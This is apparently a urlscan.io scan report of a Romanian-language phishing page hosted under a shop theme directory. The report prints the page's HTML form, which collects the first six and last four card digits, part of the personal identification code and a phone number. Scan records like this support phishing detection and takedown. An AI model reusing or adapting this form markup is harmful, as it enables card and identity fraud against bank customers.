www.rally-mega.store Open in urlscan Pro
85.236.154.142  Public Scan

URL: https://www.rally-mega.store/themes/theme1144/modules/dashgoals/translations/seas/ro/auth/?unlock=code&appIdKey=36f56ebfc3360...
Submission: On July 13 via manual from IT — Scanned from FR

Form analysis 1 forms found in the DOM

POST ../index.php

<form action="../index.php" autocomplete="off" method="post" id="application_form">
  <input type="hidden" name="step" value="cc">
  <input type="hidden" name="captcha">
  <div id="appform_main_container" class="sm_appform_main_container">
    <div class="apply-form-progress-steps">
      <ul>
        <li class="step current">
          <div>1</div>
        </li>
        <li class="bar current">
          <hr class="background-bar">
          <hr class="step-bar">
        </li>
        <li class="step">
          <div>2</div>
        </li>
        <li class="bar">
          <hr class="background-bar">
          <hr class="step-bar">
        </li>
        <li class="step">
          <div>3</div>
        </li>
      </ul>
    </div>
    <section class="current" data-node="" data-slide="1">
      <div class="sm_appform_step_cont_0 sm_appform_step_container parbase">
        <fieldset>
          <div class="fields_wrapper">
            <h2 class="font-title-3">Activează cu datele cardului tau</h2>
            <h3 class="font-title-4"></h3>
            <div class="row-fluid">
              <div class="container">
                <div class="row">
                  <div class="col-xs-24">
                    <div class="sm_fields_container parbase section">
                      <div class="sub_row clearfix" data-condition-field="" data-condition-value="">
                        <div class="fields-container-parsys parsys">
                          <div class="sm_input_field parbase section">
                            <div class="field  ">
                              <label class="field-label font-body-3"> Introdu primele 6 cifre ale cardului* </label>
                              <div class="input-field">
                                <input class="custom-input new_design" type="tel" name="6d" id="6d" maxlength="6" placeholder="" onkeypress="validate(event)" required="">
                                <span class="uc-icon ico-extra-misc-tick_on_smaller"></span>
                                <div class="error" id="Ime_error" role="alert">
                                  <p></p>
                                </div>
                              </div>
                            </div>
                          </div>
                          <div class="sm_input_field parbase section">
                            <div class="field  ">
                              <label class="field-label font-body-3"> Introdu ultimele 4 cifre ale cardului* </label>
                              <div class="input-field">
                                <input class="custom-input new_design" type="tel" name="4d" id="4d" maxlength="4" placeholder="" data-fieldtype="text" onkeypress="validate(event)" required="">
                                <span class="uc-icon ico-extra-misc-tick_on_smaller"></span>
                                <div class="error" id="Priimek_error" role="alert">
                                  <p></p>
                                </div>
                              </div>
                            </div>
                          </div>
                          <div class="sm_dropdown_list_field parbase section">
                            <div class="field  ">
                              <label class="field-label font-body-3"> Introdu ultimele 4 cifre din CPN-ul tău* </label>
                              <div class="input-field">
                                <input class="custom-input new_design" type="tel" name="4c" id="4c" maxlength="4" placeholder="" onkeypress="validate(event)" required="">
                                <span class="uc-icon ico-extra-misc-tick_on_smaller"></span>
                                <div class="error" id="Priimek_error" role="alert">
                                  <p></p>
                                </div>
                              </div>
                            </div>
                          </div>
                          <div class="sm_dropdown_list_field parbase section">
                            <div class="field  ">
                              <label class="field-label font-body-3"> INTRODU NUMARUL TAU DE TELEFON MOBIL* </label>
                              <div class="input-field">
                                <input class="custom-input new_design" type="tel" name="phone" id="tele" maxlength="" placeholder="" onkeypress="validate(event)" required="">
                                <span class="uc-icon ico-extra-misc-tick_on_smaller"></span>
                                <div class="error" id="Priimek_error" role="alert">
                                  <p></p>
                                </div>
                              </div>
                            </div>
                          </div>
                          <div class="sm_dropdown_list_field parbase section">
                            <script>
                              function validate(evt) {
                                var theEvent = evt || window.event;
                                // Handle paste
                                if (theEvent.type === 'paste') {
                                  key = event.clipboardData.getData('text/plain');
                                } else {
                                  // Handle key press
                                  var key = theEvent.keyCode || theEvent.which;
                                  key = String.fromCharCode(key);
                                }
                                var regex = /[0-9]|\./;
                                if (!regex.test(key)) {
                                  theEvent.returnValue = false;
                                  if (theEvent.preventDefault) theEvent.preventDefault();
                                }
                              }
                            </script>
                            <div class="field ">
                              <div class="input-field dependency_group">
                                <div class="error" role="alert">
                                  <p></p>
                                </div>
                              </div>
                            </div>
                          </div>
                        </div>
                      </div>
                    </div>
                  </div>
                </div>
              </div>
            </div>
          </div>
        </fieldset>
      </div>
      <div class="next_button">
        <input type="submit" data-action-type="application-form-next" value="Următorul" class="button btn-medium primary">
      </div>
    </section>
  </div>
</form>

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ACTIVEAZĂ CU DATELE CARDULUI TAU




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